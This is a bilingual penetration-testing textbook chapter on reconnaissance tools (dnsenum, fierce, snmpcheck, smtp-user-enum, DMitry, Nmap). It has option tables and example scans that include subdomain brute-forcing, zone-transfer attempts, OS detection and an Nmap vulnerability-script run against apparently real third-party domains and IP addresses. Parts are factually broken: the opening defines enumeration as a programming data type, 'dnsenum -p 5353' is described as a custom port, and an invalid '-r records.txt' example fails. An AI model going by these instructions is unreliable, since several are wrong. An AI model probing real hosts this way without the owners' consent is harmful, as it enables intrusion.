Chapter 4 Information Collection

4.1 Enumeration services

Enumeration is a data type that defines constants. It collects a group of constants with the same type and meaning and assigns unique identifiers to these constants. Enumerations are used in programs to represent some discrete, limited values ​​with specific meanings, such as the number of days in a week, the number of months in a year, gender, etc. Constants in enumeration types are unmodifiable, which makes the program more stable and reliable. In many programming languages, enumerations can be accessed by name or integer value.

4.1.1 DNS enumeration tool DNSenum

version number:

1.2.6

Introduction to DNSenum

DNSenum is a tool for enumerating target Domain Name Systems (DNS). DNS enumeration refers to the process of collecting information related to a target domain name by querying the DNS server of the target domain name. The goal of DNSenum is to collect as much information as possible about the target domain name by automatically querying the domain name server. This information can be used for tasks such as penetration testing, vulnerability assessment, and network reconnaissance.

Features of DNSenum include:

  1. Domain name resolution: DNSenum can query various DNS records of domain names, such as A records (host IP address), CNAME records (aliases), MX records (mail servers), NS records (domain name servers), etc.

  2. Subdomain name collection: It can try to find subdomain names of the target domain name through brute force or dictionary attacks.

  3. Host scanning: DNSenum can scan the IP address range of the target domain name to discover the open ports and services of the host.

  4. DNS zone transfer: It can try to obtain the DNS zone transfer record of the target domain name, which may expose sensitive information on the name server.

  5. Whois query: DNSenum can query the Whois information of the target domain name, including domain name owner, registrar, registration date, etc.

DNSenum is a powerful tool, but it is important to note that before conducting any DNS enumeration activities, make sure to comply with legal and ethical regulations and obtain appropriate authorization to avoid violating the law or violating the privacy of others.

usage

dnsenum [options] target
Options describe
--dnsserver <server> Use specified DNS server for A, NS and MX queries
--enum Shortcut option, equivalent to --threads 5 -s 15 -w
-h, --help Print help information
--noreverse Skip reverse lookup operation
--nocolor Disable ANSIColor output
--private Display and save the private IP address at the end of the file domain_ips.txt
--subfile <file> Writes all valid subdomains to the specified file
-t, --timeout<value> Timeout for TCP and UDP, in seconds (default is 10 seconds)
--threads <value> Number of threads executing different queries
-v, --verbose Verbose mode: displays all progress and error messages
-p, --pages <value> The number of Google search pages (used to crawl names), the default is 5 pages, the -s parameter must be specified
-s, --scrap <value> The maximum number of subdomains crawled from Google (default is 15)
-f, --file <file> Read the subdomain name from the specified file for brute force cracking (the priority is higher than the default dns.txt)
`-u, --update<a g
-d, --delay <value> Maximum number of seconds to wait between whois queries, value is randomly defined, default is 3 seconds
-w, --whois Perform whois query on class C network scope
-e, --exclude<regexp> Exclude PTR records matching a regular expression from reverse lookup results, for invalid hostnames
-o, --output <file> Output results in XML format, which can be imported into MagicTree

Example

  1. Query the basic information of the target domain name:
dnsenum ynkg.com

dnsenum VERSION:1.2.6

----- ynkg.com -----

Host’s addresses:


ynkg.com. 5 IN A 221.213.63.52

Name Servers:


ce2.xincache.com. 5 IN A 120.241.130.98
ce2.xincache.com. 5 IN A 117.89.178.184
ce2.xincache.com. 5 IN A 1.12.0.1
ce2.xincache.com. 5 IN A 223.166.151.21
ce2.xincache.com. 5 IN A 129.211.176.224
ce1.xincache.com. 5 IN A 112.80.181.45
ce1.xincache.com. 5 IN A 129.211.176.187
ce1.xincache.com. 5 IN A 183.47.126.178
ce1.xincache.com. 5 IN A 183.192.164.117
ce1.xincache.com. 5 IN A 1.12.0.4
ce1.xincache.com. 5 IN A 61.151.180.52

Mail (MX) Servers:


mail.ynkg.com. 5 IN A 221.213.63.8

Attempt to perform a DNS zone transfer to obtain the details of the ynkg.com domain name and the BIND version information

Trying Zone Transfers and getting Bind Versions:


Trying Zone Transfer for ynkg.com on ce2.xincache.com …
AXFR record query failed: corrupt packet

Trying Zone Transfer for ynkg.com on ce1.xincache.com …
AXFR record query failed: corrupt packet

Use a dictionary file to perform brute force cracking (brute force cracking) and try to find the subdomain name of the ynkg.com domain name

Brute forcing with /usr/share/dnsenum/dns.txt:


dev.ynkg.com. 5 IN A 221.213.63.3 mail.ynkg.com. 5 IN A 221.213.63.8
pan.ynkg.com. 5 IN A 221.213.63.42
smtp.ynkg.com. 5 IN A 61.138.197.203
www.ynkg.com. 5 IN A 221.213.63.52

ynkg.com class C netranges:


61.138.197.0/24 221.213.63.0/24

Performing reverse lookup on 512 ip addresses:


0 results out of 512 IP addresses.

ynkg.com ip blocks:


done.

image-20230608190018310

  1. Use a custom port to query the target domain name:
dnsenum -p 5353 example.com
dnsenum -p 5353 yangeryu.com.cn

dnsenum VERSION:1.2.6

----- yangeryu.com.cn -----

Host’s addresses:


yangeryu.com.cn. 5 IN A 118.193.46.232

Name Servers:


cormorant.dnspod.net. 5 IN A 117.89.178.184
cormorant.dnspod.net. 5 IN A 112.80.181.111
cormorant.dnspod.net. 5 IN A 1.12.0.1
cormorant.dnspod.net. 5 IN A 36.155.149.176
cormorant.dnspod.net. 5 IN A 129.211.176.224
cow.dnspod.net. 5 IN A 129.211.176.187
cow.dnspod.net. 5 IN A 1.12.0.4
cow.dnspod.net. 5 IN A 112.80.181.45
cow.dnspod.net. 5 IN A 61.151.180.44
cow.dnspod.net. 5 IN A 120.241.130.98

Mail (MX) Servers:


Trying Zone Transfers and getting Bind Versions:


Trying Zone Transfer for yangeryu.com.cn on cormorant.dnspod.net …
AXFR record query failed: corrupt packet

Trying Zone Transfer for yangeryu.com.cn on cow.dnspod.net …
AXFR record query failed: corrupt packet

Brute forcing with /usr/share/dnsenum/dns.txt:


www.yangeryu.com.cn. 5 IN A 118.193.46.232

yangeryu.com.cn class C netranges:


118.193.46.0/24

Performing reverse lookup on 256 ip addresses:


0 results out of 256 IP addresses.

yangeryu.com.cn ip blocks:


done.

image-20230608191057905

  1. Using dictionary files for subdomain collection
dnsenum -f subdomains.txt example.com
dnsenum -f subdomains.txt ynkg.com

dnsenum -f subdomains.txt ynkg.com
dnsenum VERSION:1.2.6

----- ynkg.com ----- Host’s addresses:


ynkg.com. 5 IN A 221.213.63.52

Name Servers:


ce1.xincache.com. 5 IN A 183.47.126.178 ce1.xincache.com. 5 IN A 183.192.164.117
ce1.xincache.com. 5 IN A 1.12.0.4
ce1.xincache.com. 5 IN A 61.151.180.52
ce1.xincache.com. 5 IN A 112.80.181.45
ce1.xincache.com. 5 IN A 129.211.176.187
ce2.xincache.com. 5 IN A 117.89.178.184
ce2.xincache.com. 5 IN A 1.12.0.1
ce2.xincache.com. 5 IN A 223.166.151.21
ce2.xincache.com. 5 IN A 129.211.176.224
ce2.xincache.com. 5 IN A 120.241.130.98

Mail (MX) Servers:


mail.ynkg.com. 5 IN A 221.213.63.8

Trying Zone Transfers and getting Bind Versions:


Trying Zone Transfer for ynkg.com on ce1.xincache.com …
AXFR record query failed: corrupt packet

Trying Zone Transfer for ynkg.com on ce2.xincache.com …
AXFR record query failed: corrupt packet

Brute forcing with subdomains.txt:


Error: make sure that the file subdomains.txt exists and has a size greater than zero.

image-20230608192526247

When executing dnsenum -f subdomains.txt example.comthe command, DNSenum will enumerate domain names using subdomains.txtthe subdomain name options in the file to discover possible subdomain names.example.com

www mail ftp admin test blog shop api dev support forum

  1. Query the specific record type of the target domain name:
dnsenum -r records.txt example.com
dnsenum -r records.txt yangeryu.com.cn

dnsenum VERSION:1.2.6

----- records.txt -----

Host’s addresses:


Name Servers:


records.txt NS record query failed: NXDOMAIN

image-20230608191550680

record type describe Example
A Map domain names to IPv4 addresses example.com IN A 192.0.2.1
AAAA Map domain names to IPv6 addresses example.com IN AAAA 2001:db8::1
CNAME Create an alias for a domain name www.example.com IN CNAME example.com
MX Specify the mail server that receives domain name mail example.com IN MX 10 mail.example.com
NS Authoritative name servers for the specified domain name example.com IN NS ns1.example.com
TXT Store arbitrary text information associated with a domain name example.com IN TXT "Some text information"
SRV Specify servers that provide specific services _http._tcp.example.com IN SRV 10 0 80 www.example.com
SOA Specify the authoritative server that manages the domain name example.com IN SOA ns1.example.com admin.example.com

4.1.2 DNS enumeration tool fierce

Fierce is a tool for performing DNS enumeration, which looks for subdomains on a specified domain name and finds the IP addresses associated with those subdomains. Unlike other DNS enumeration tools, Fierce can use dictionary blasting techniques to find domain names. It can also find information such as MX records, NS records, CNAME records, and SOA records. Fierce runs on Linux and macOS systems and provides a command line interface. It is a fast, reliable tool that helps penetration testers identify network attack surfaces and identify potential vulnerabilities. Due to its fast scanning speed and accurate results, it is widely used in network security assessment and attack testing.

Options describe
-h, --help Show help message and exit
--domain DOMAIN Domain name to test
--connect Attempt to establish HTTP connection to non-RFC 1918 host
--wide Scan the entire Class C network segment for all discovery records
--traverse TRAVERSE Scan for IPs close to the discovery record, but not into adjacent Class C network segments
--search SEARCH [SEARCH ...] Filter these domains when expanding the lookup
--range RANGE Scan internal IP ranges, using CIDR notation
--delay DELAY The time to wait between queries
--subdomains SUBDOMAINS [SUBDOMAINS ...] Use these subdomains
--subdomain-file SUBDOMAIN_FILE Use the subdomains specified in the specified file (one per line)
--dns-servers DNS_SERVERS [DNS_SERVERS ...] DNS server for reverse lookup
--dns-file DNS_FILE Perform reverse lookups using the DNS servers specified in the specified file (one per line)
--tcp Use TCP instead of UDP
  1. Discover subdomains of the target domain name : Run by specifying the domain name fierce, it will find subdomains of the target domain name and list them. For example:fierce --domain example.com
fierce --domain ynkg.com
>>
NS: ce2.xincache.com. ce1.xincache.com.
SOA: ce1.xincache.com. (183.192.164.117)
Zone: failure
Wildcard: failure
Found: app.ynkg.com. (221.213.63.36)
Found: bi.ynkg.com. (119.62.0.61)
Found: dev.ynkg.com. (221.213.63.3)
Found: m.ynkg.com. (119.62.0.22)
Found: mail.ynkg.com. (221.213.63.8)
Found: pop3.ynkg.com. (61.138.197.203)
  1. Expand the subdomain name range : Use --widethe option to scan the entire Class C IP address space to more fully discover subdomain names related to the target domain name. For example:fierce --domain example.com --wide
fierce --domain ynkg.com --wide
>>
NS: ce2.xincache.com. ce1.xincache.com.
SOA: ce1.xincache.com. (1.12.0.4)
Zone: failure
Wildcard: failure
Found: app.ynkg.com. (221.213.63.36)
Found: bi.ynkg.com. (119.62.0.61)
Found: dev.ynkg.com. (221.213.63.3)
Found: m.ynkg.com. (119.62.0.22)
Found: mail.ynkg.com. (221.213.63.8)
Found: pop3.ynkg.com. (61.138.197.203)
  1. Use a custom subdomain list : If you have a custom subdomain list, you can save it in a file and then use -- subdomain-filethe option to specify that file for scanning. For example:fierce --domain example.com -- subdomain-file subdomains.txt

    fierce --domain yynkg.com -- subdomain-file subdomains.txt
    
  2. Specify a custom DNS server : Use --dns-serversthe option to specify a custom DNS server for reverse lookups. For example:fierce --domain example.com --dns-servers 8.8.8.8 8.8.4.4

fierce --domain ynkg.com --dns-servers 8.8.8.8 8.8.4.4
>>
S: ce2.xincache.com. ce1.xincache.com.
SOA: ce1.xincache.com. (183.192.164.117)
Zone: failure
Wildcard: failure
Found: app.ynkg.com. (221.213.63.36)
Found: bi.ynkg.com. (119.62.0.61)
Found: dev.ynkg.com. (221.213.63.3)
Found: m.ynkg.com. (119.62.0.22)
Found: mail.ynkg.com. (221.213.63.8)
Found: pop3.ynkg.com. (61.138.197.203)
  1. 扫描内部IP范围:如果你想扫描内部IP范围,可以使用 --range 选项指定CIDR表示法的范围。例 如: fierce --range 192.168.0.0/24
fierce --range 121.213.63.0/24

image-20230608200010365

CIDR (Classless Inter-Domain Routing) 是一种IP地址分配和路由的标准方法。它替代了传统的IP 地址分配方法,即基于类别的网络划分(Classful Networking),并引入了更加灵活和高效的地 址分配方案。

在CIDR中,IP地址由两部分组成:网络前缀和主机标识。网络前缀表示了一个IP地址所属的网络, 而主机标识标识了该网络中的具体主机。CIDR采用了"IP地址/前缀长度"的表示方式,其中前缀长 度表示了网络前缀中连续的位数。

CIDR中的前缀长度可以是介于0到32之间的整数。较小的前缀长度表示较大的网络,而较大的前缀 长度表示较小的网络。例如,前缀长度为24的CIDR表示一个包含256个IP地址的网络,而前缀长度 为16的CIDR表示一个包含65536个IP地址的网络。

CIDR的使用使得IP地址的分配更加灵活和高效。它允许网络管理员更精细地划分IP地址空间,避免 了浪费和不必要的地址空间分配。此外,CIDR还简化了路由表的管理,提高了路由器的性能和路 由器之间的路由选择。

以下是一些CIDR表示的示例:

  • 192.168.0.0/24 :表示以192.168.0.0作为网络前缀,前缀长度为24,即包含256个IP地址 的网络。
  • 10.0.0.0/16 :表示以10.0.0.0作为网络前缀,前缀长度为16,即包含65536个IP地址的网 络。
  • 172.16.0.0/12 :表示以172.16.0.0作为网络前缀,前缀长度为12,即包含1048576个IP地 址的网络。

使用CIDR表示法可以更清晰地描述和理解IP地址分配和路由。它在互联网中广泛应用于网络规划、 路由配置和安全策略等方面

4.1.3 SNMP枚举工具Snmpwalk

Snmpwalk是一种SNMP(Simple Network Management Protocol)枚举工具,可以用于枚举SNMP代理的信息。它可以请求SNMP代理提供有关其所管理的设备、接口和性能的数据。

用法

选项 参数 描述
h, --help 显示帮助信息
-H 显示理解的配置文件指令
-v 1 |2c| 3 指定要使用的SNMP版本
-V, --version 显示软件包版本号
-c COMMUNITY 设置社区字符串(仅适用于SNMP版本1或2c)
-a PROTOCOL 设置认证协议(MD5
-A PASSPHRASE 设置认证协议的密码短语(仅适用于SNMP版本3)
-e ENGINE-ID 设置安全引擎ID(例如800000020109840301)(仅适用于SNMP版本3)
-E ENGINE-ID 设置上下文引擎ID(例如800000020109840301)(仅适用于SNMP版本3)
-l LEVEL 设置安全级别(noAuthNoPriv|authNoPriv|authPriv)(仅适用于SNMP版本 3 )
-n CONTEXT 设置上下文名称(例如bridge1)(仅适用于SNMP版本 3 )
-u USER-NAME 设置安全名称(例如bert)(仅适用于SNMP版本 3 )
-x PROTOCOL 设置加密协议(DES|AES|AES-192|AES-256)(仅适用于SNMP版本 3 )
-X PASSPHRASE 设置加密协议的密码短语(仅适用于SNMP版本 3 )
-Z BOOTS,TIME 设置目标引擎启动次数/时间(仅适用于SNMP版本 3 )
-r RETRIES 设置重试次数
-t TIMEOUT 设置请求超时时间(以秒为单位)
-d 以十六进制格式显示输入/输出数据包
-D[TOKEN[,…]] 打开指定TOKEN的调试输出(使用"ALL"可以获得非常详细的调试输出)
-m MIB[:…] 加载给定的MIB文件(使用"ALL"加载所有MIB文件)
-M DIR[:…] 在给定的目录中查找MIB文件(默认为$HOME/.snmp/mibs:/usr/share/snmp/mibs:/usr/share/snmp/mibs/iana:/usr/share/snmp/mibs/ietf)
-P MIBOPTS 切换控制MIB解析的各种默认值 u:允许在MIB符号中使用下划线 c:不允许使用"–"来终止注释 d:保存MIB对象的描述 e:禁用MIB符号冲突时的错误 w:在MIB符号冲突时启用警告 W:在MIB符号冲突时启用详细警告 R:用最新模块替换MIB符号
-O OUTOPTS 切换控制输出显示的各种默认值: 0:对于单个十六进制字符,打印前导0 a:以ASCII格式打印所有字符串 b:不将OID索引分解 e:以数字方式打印枚举值 E:在字符串索引中转义引号 f:在输出中打印完整OID n:以数字方式打印OID p PRECISION:使用指定的PRECISION(printf格式字符串)显示浮点数值 q:快速打印以便更容易解析 Q:快速打印使用等号 s:仅打印OID的最后一个符号元素 S:打印MIB模块ID和最后一个元素 t:以未解析的数字整数形式打印时间戳 T:打印人类可读的文本和十六进制字符串 u:使用UCD样式前缀抑制打印OID U:不打印单位 v:仅打印值(不包括OID = 值) x:以十六进制格式打印所有字符串 X:扩展索引格式
-I INOPTS 切换控制输入解析的各种默认值: b:使用最佳/正则表达式匹配来查找MIB节点 h:不应用DISPLAY-HINTs r:不检查值的范围/类型合法性 R:随机访问OID标签 u:顶级OID必须以’.'前缀(UCD样式) s SUFFIX:在解析之前将所有文本OID附加SUFFIX S PREFIX:在解析之前将所有文本OID添加PREFIX
-L LOGOPTS 切换控制日志记录的各种默认值: e:记录到标准错误输出 o:记录到标准输出 n:不记录日志 f file:记录到指定的文件 s facility:记录到syslog(通过指定的facility) (变体) [EON] pri:对于级别’pri’及以上,记录到标准错误输出、输出或/dev/null [EON] p1-p2:对于级别’p1’到’p2’,记录到标准错误输出、输出或/dev/null [FS] pri token:对于级别’pri’及以上,记录到文件/syslog [FS] p1-p2 token:对于级别’p1’到’p2’,记录到文件/syslog
-C APPOPTS 设置各种特定应用行为: p:打印找到的变量数量 i:在搜索范围内包括给定的OID I:即使没有返回结果,也不包括给定的OID c:不检查返回的OID是否递增 t:显示完成walk的墙上时间 T:显示完成每个请求的墙上时间 E {OID}:在指定的OID处结束walk

4.1.4 snmptrap

简介

snmptrap 命令是一个用于发送SNMP陷阱(Trap)的工具。SNMP陷阱是一种事件通知机制,用于将网 络设备的状态变化通知到SNMP管理系统。

基本用法

snmptrap [options] agent trap-oid [variable-bindings]

其中, agent 是接收SNMP陷阱的主机或设备的IP地址或主机名。 trap-oid 是陷阱的OID(对象标识 符),用于标识特定的陷阱类型。 variable-bindings 是可选的,用于指定陷阱中包含的变量绑定。

选项

  • -v :指定SNMP版本(1、2c或3)。
  • -c :指定SNMP社区字符串(仅适用于SNMPv1和SNMPv2c)。
  • -u :指定安全名称(仅适用于SNMPv3)。
  • -a :指定认证协议(MD5或SHA,仅适用于SNMPv3)。
  • -A :指定认证密码(仅适用于SNMPv3)。
  • -x :指定加密协议(DES或AES,仅适用于SNMPv3)。
  • -X :指定加密密码(仅适用于SNMPv3)。
  • -l :指定安全级别(noAuthNoPriv、authNoPriv或authPriv,仅适用于 SNMPv3)。

这只是 snmptrap 命令的一些常见选项和参数,使用 man snmptrap 命令在终端上查看完整的命令文档。

4.1.5 SNMP枚举工具snmpcheck

简介

snmpcheck 是一款用于检查和测试 Simple Network Management Protocol (SNMP) 服务的工具,它可 以扫描目标主机上的 SNMP 设备,并提供有关这些设备的信息和配置。

基本用法

snmpcheck [options] <target>

options(选项):

-c :指定 SNMP 社区字符串。

-p :指定 SNMP 服务监听的端口号。

-v :指定使用的 SNMP 版本(1、2c、3)。

-C :从指定的文件中读取社区字符串列表。

-L :指定使用的 SNMPv3 安全级别(noAuthNoPriv、authNoPriv、authPriv)。

-a :指定 SNMPv3 认证协议(MD5、SHA)。

-A :指定 SNMPv3 认证密码。

-x :指定 SNMPv3 加密协议(DES、AES)。

-X :指定 SNMPv3 加密密码。

-t :指定超时时间(以秒为单位)。

-r :指定重试次数。

用例

  1. 检查目标主机上的 SNMP 服务(使用默认社区字符串 public):
snmpcheck 192.168.18.142

image-20230613174756796

  1. 指定不同的社区字符串进行检查:
snmpcheck -c private 192.168.0.1

image-20230613175152079

  1. 使用不同的 SNMP 版本进行检查:
snmpcheck -v 3 -u admin -a SHA -A password123 -l authPriv -x AES -X secret456 169.254.218.205

image-20230613175555321

  1. 指定自定义端口和超时时间进行检查:
snmpcheck -p 161 -t 5 192.168.0.1
snmpcheck -p 161 -t 5 169.254.218.205

image-20230613175813189

image-20230613180032862

  1. 使用snmpcheck工具通过SNMP协议获取69.254.218.205主机信息。
snmp-check 169.254.218.205 -c public -v 2c

image-20230613171923476

附加资源

GitHub 仓库:https://github.com/sensepost/snmpcheck

4.1.6 SMTP枚举工具smtp-user-enum

  1. 在SMTP服务上启动用户的SMTP枚举.
  • 安装smtp-user-enum (需在root模式下)

    命令如下:

     sudo apt install smtp-user-enum
    

    image-20230531174212083

  • 测试:

smtp-user-enum -M VRFY -u root -t 169.254.218.205
>>
Starting smtp-user-enum v1.2 ( http://pentestmonkey.net/tools/smtp-user-enum )

 ----------------------------------------------------------
|                   Scan Information                       |
 ----------------------------------------------------------

Mode ..................... VRFY
Worker Processes ......... 5
Target count ............. 1
Username count ........... 1
Target TCP port .......... 25
Query timeout ............ 5 secs
Target domain ............ 

######## Scan started at Tue Jun 13 05:23:15 2023 #########
######## Scan completed at Tue Jun 13 05:23:17 2023 #########
0 results.

1 queries in 2 seconds (0.5 queries / sec)

image-20230613172347328

4.2 测试网络范围

4.2.1 域名查询工具DMitry

简介

image-20230829222012792

dmitry 是一款用于执行主机情报收集(reconnaissance)的工具,它能够获取目标主机的基本信息和网 络服务,并提供有关主机的分析结果。

基本用法

dmitry [-winsepfb] <target>

选项:

  • -w :执行 WHOIS 查询以获取域名的注册信息。
  • -i :执行 IP 位置查询以获取 IP 地址的地理位置信息。
  • -n :执行 DNS 查询以获取域名的解析记录。
  • -s :执行 SNMP 查询以获取 SNMP 信息。
  • -e :执行顶级域扫描以获取与目标相关的域名。
  • -p :执行端口扫描以确定目标主机上开放的端口。
  • -f :执行快速扫描模式,只执行 WHOIS、DNS 和端口扫描。
  • -b :执行逆向 DNS 查询以获取域名的反向解析记录。

示例

  1. 执行 WHOIS 查询和端口扫描:
dmitry -wp example.com
dmitry -wp ynkg.com

image-20230613181257231

image-20230613182515119

执行完整的主机情报收集:

dmitry -winspefb example.com
dmitry -winspefb ynkg.com

image-20230613181439378

  1. 执行 IP 位置查询和 DNS 查询:
dmitry -in example.com
dmitry -in ynkg.com

image-20230613181534819

4.3 识别活跃的主机

4.3.1 网络映射器工具Nmap

简介:

Nmap(Network Mapper)是一个广泛使用的开源网络扫描工具。它用于探测和扫描计算机网络 上的主机和服务,以获取有关网络拓扑、开放端口、操作系统类型等信息。Nmap提供了灵活的扫 描技术,包括TCP、UDP、ICMP等多种扫描方式,可以快速地扫描大型网络。

Nmap具有许多功能,包括:

  1. 端口扫描:Nmap可以识别目标主机上开放的端口,从而帮助确定哪些服务正在运行。

  2. 操作系统识别:Nmap可以通过分析网络通信特征来尝试识别目标主机的操作系统类型。

  3. 服务和版本探测:Nmap可以探测目标主机上正在运行的具体服务及其版本信息。

  4. 漏洞扫描:Nmap可以与漏洞扫描工具结合使用,帮助发现网络上存在的安全漏洞。

  5. 脚本扫描:Nmap支持使用Nmap脚本引擎(NSE)执行自定义脚本,以便执行更复杂的网络 扫描和自动化任务。

用法:

功能 命令行选项 说明
目标规范
主机发现 -sL 列出要扫描的目标
-sn 禁用端口扫描,只进行Ping扫描
-Pn 将所有主机视为在线 - 跳过主机发现
-PS/PA/PU/PY[portlist] TCP SYN/ACK,UDP或SCTP发现给定端口
-PE/PP/PM CMP回显,时间戳和网络掩码请求发现探测
-PO[protocol list] IP协议Ping
-n/-R 永远不进行DNS解析/始终解析[默认:有时]
-dns-servers 指定自定义DNS服务器
–system-dns 使用操作系统的DNS解析器
–traceroute 跟踪到每个主机的跳跃路径
扫描技术 -sS/sT/sA/sW/sM TCP SYN/Connect()/ACK/Window/Maimon扫描
-sU UDP扫描
-sN/sF/sX TCP Null,FIN和Xmas扫描
–scanflags 自定义TCP扫描标志
-sI<zombie host[:probeport]> 空闲扫描
-sY/sZ SCTP INIT/COOKIE-ECHO扫描
-sO IP协议扫描
-b FTP弹跳扫描
端口规范和扫描顺序 -p 仅扫描指定的端口
–exclude-ports 从扫描中排除指定的端口
-F 快速模式 - 扫描比默认扫描更少的端口
-r 连续扫描端口 - 不随机排序
–top-ports 扫描最常见的个端口
–port-ratio 扫描比更常见的端口
-sV 探测开放端口以确定服务/版本信息
–version-intensity 设置从0(轻量级)到9(尝试所有探测)的探测强 度
–version-light 限制在最有可能的探测(强度2)
–version-all 尝试每个探测(强度9)
–version-trace 显示详细的版本扫描活动(用于调试)
脚本扫描 -sC 等效于–script=default
–script= 是以逗号分隔的目录、脚本文件或脚本类别
–script-args= <n1=v1,[n2=v2,…]> 为脚本提供参数
–script-args-file=filename 在文件中提供NSE脚本参数
–script-trace 显示发送和接收的所有数据
–script-updatedb 更新脚本数据库。
–script-help= 显示有关脚本的帮助信息。 是以逗号分隔的脚本文 件或脚本类别列表。
操作系统检测 -O 启用操作系统检测
–osscan-limit 限制操作系统检测到有希望的目标
–osscan-guess 更积极地猜测操作系统
时序和性能 -T<0-5> 设置时序模板(值越高,扫描速度越快)
–min-hostgroup/max-hostgroup 并行主机扫描组大小
–min-parallelism/max-parallelism 探针并行化
–min-rtt-timeout/max-rtttimeout/initial-rtt-timeou 指定探测往返时间。
–max-retries 限制端口扫描探针的重传次数。
–host-timeout 在经过这么长时间后放弃目标
–scan-delay/–max-scan-delay 调整探测之间的延迟
–min-rate 每秒发送不少于个数据包
–max-rate 每秒发送不超过个数据包
防火墙/IDS 回避和欺骗 -f; --mtu 分片数据包(可选使用给定的MTU)
-D <decoy1,decoy2[,ME],…> 使用伪装扫描
-S <IP_Address> 伪装源地址
-e 使用指定的接口
-g/–source-port 使用给定的端口号
–proxies <url1,[url2],…> 通过HTTP/SOCKS4代理中继连接
–data 在发送的数据包中添加自定义有效负载
–data-string 在发送的数据包中添加自定义ASCII字符串
–data-length 在发送的数据包中添加随机数据
–ip-options 发送具有指定IP选项的数据包
–ttl 设置IP生存时间字段
–spoof-mac <macaddress/prefix/vendor name> 伪装您的MAC地址
–badsum 发送具有伪造的TCP/UDP/SCTP校验和的数据包
输出 -oN/-oX/-oS/-oG 将扫描结果以正常、XML、s
-oA 同时以三种主要格式输出
-v 增加详细程度 (使用-vv或更高级别可获得更大效 果)
-d 增加调试级别 (使用-dd或更高级别可获得更大效果
–reason 显示端口处于特定状态的原因
–open 仅显示开放的 (或可能开放的)端口
–packet-trace 显示发送和接收的所有数据包
–iflist 打印主机接口和路由 (用于调试)
–append-output 追加而不是覆盖指定的输出文件
–resume 恢复中断的扫描
–noninteractive 禁用通过键盘的运行时交互
–stylesheet <path/URL> XSL样式表 ,用于将XML输出转换为HTML
–webxml 引用Nmap.Org上的样式表 ,以获取更便携的XML
–no-stylesheet 不要引用任何样式表
–append-output 追加而不是覆盖指定的输出文件
–resume 恢复中断的扫描
–noninteractive 禁用通过键盘的运行时交互
–stylesheet <path/URL> XSL样式表 ,用于将XML输出转换为HTML
–webxml 引用Nmap.Org上的样式表 ,以获取更便携的XML
–no-stylesheet 不要引用任何样式表

用例:

  • 运行基本的端口扫描命令:
  • target_ip:目标ip
nmap -p 1-100 target_ip
nmap -p 1-100 169.254.218.205
>>
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-08 09:20 EDT
Nmap scan report for 169.254.218.205
Host is up (0.0011s latency).
Not shown: 99 filtered tcp ports (no-response)
PORT   STATE SERVICE
25/tcp open  smtp
Nmap done: 1 IP address (1 host up) scanned in 1.88 seconds
nmap -p 1-100 118.193.46.232
>>Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-08 09:20 EDT
Nmap scan report for 118.193.46.232
Host is up (0.0096s latency).
Not shown: 97 filtered tcp ports (no-response)
PORT   STATE SERVICE
22/tcp open  ssh
25/tcp open  smtp
80/tcp open  http
Nmap done: 1 IP address (1 host up) scanned in 11.92 seconds

image-20230608212313036

这将扫描目标 IP 地址的端口范围 1-100,并报告开放的端口。

  • 进行操作系统识别:
nmap -O target_ip
nmap -O 169.254.218.205
>>
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-08 09:25 EDT
Nmap scan report for 169.254.218.205
Host is up (0.0013s latency).
Not shown: 991 filtered tcp ports (no-response)
PORT     STATE SERVICE
25/tcp   open  smtp
110/tcp  open  pop3
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
902/tcp  open  iss-realsecure
3306/tcp open  mysql
7000/tcp open  afs3-fileserver
8000/tcp open  http-alt
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Microsoft Windows XP|7|2012
OS CPE: cpe:/o:microsoft:windows_xp::sp3 cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_server_2012
OS details: Microsoft Windows XP SP3, Microsoft Windows XP SP3 or Windows 7 or Windows Server 2012

OS detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.66 seconds
nmap -O 118.193.46.232
>>Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-08 09:26 EDT
Nmap scan report for 118.193.46.232
Host is up (0.018s latency).
Not shown: 993 filtered tcp ports (no-response)
PORT     STATE SERVICE
22/tcp   open  ssh
25/tcp   open  smtp
80/tcp   open  http
110/tcp  open  pop3
888/tcp  open  accessbuilder
3306/tcp open  mysql
8888/tcp open  sun-answerbook
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: WAP|phone
Running: Linux 2.4.X|2.6.X, Sony Ericsson embedded
OS CPE: cpe:/o:linux:linux_kernel:2.4.20 cpe:/o:linux:linux_kernel:2.6.22 cpe:/h:sonyericsson:u8i_vivaz
OS details: Tomato 1.28 (Linux 2.4.20), Tomato firmware (Linux 2.6.22), Sony Ericsson U8i Vivaz mobile phone

OS detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.87 seconds

image-20230608212744234

该命令将尝试对目标 IP 地址进行操作系统识别,以确定其运行的操作系统类型。

  • 进行服务和版本探测:
nmap -sV target_ip
nmap -sV 118.193.46.232
>>
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-08 09:28 EDT
Nmap scan report for 118.193.46.232
Host is up (0.0077s latency).
Not shown: 992 filtered tcp ports (no-response)
PORT     STATE  SERVICE  VERSION
22/tcp   open   ssh      OpenSSH 8.0 (protocol 2.0)
25/tcp   open   smtp?
80/tcp   open   http     Apache httpd
110/tcp  open   pop3?
443/tcp  closed https
888/tcp  open   http     Apache httpd
3306/tcp open   mysql    MySQL (unauthorized)
8888/tcp open   ssl/http Ajenti http control panel
Service Info: Host: 0b842aa5.phpmyadmin

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 280.35 seconds

image-20230608213513982

使用此命令,Nmap将探测目标 IP 地址上运行的服务和相应的版本信息。

  • 执行 Nmap 脚本:
nmap --script vuln target_ip

nmap --script vuln 118.193.46.232
>>
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-08 09:36 EDT
Nmap scan report for 118.193.46.232
Host is up (0.0071s latency).
Not shown: 992 filtered tcp ports (no-response)
PORT     STATE  SERVICE
22/tcp   open   ssh
25/tcp   open   smtp
80/tcp   open   http
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
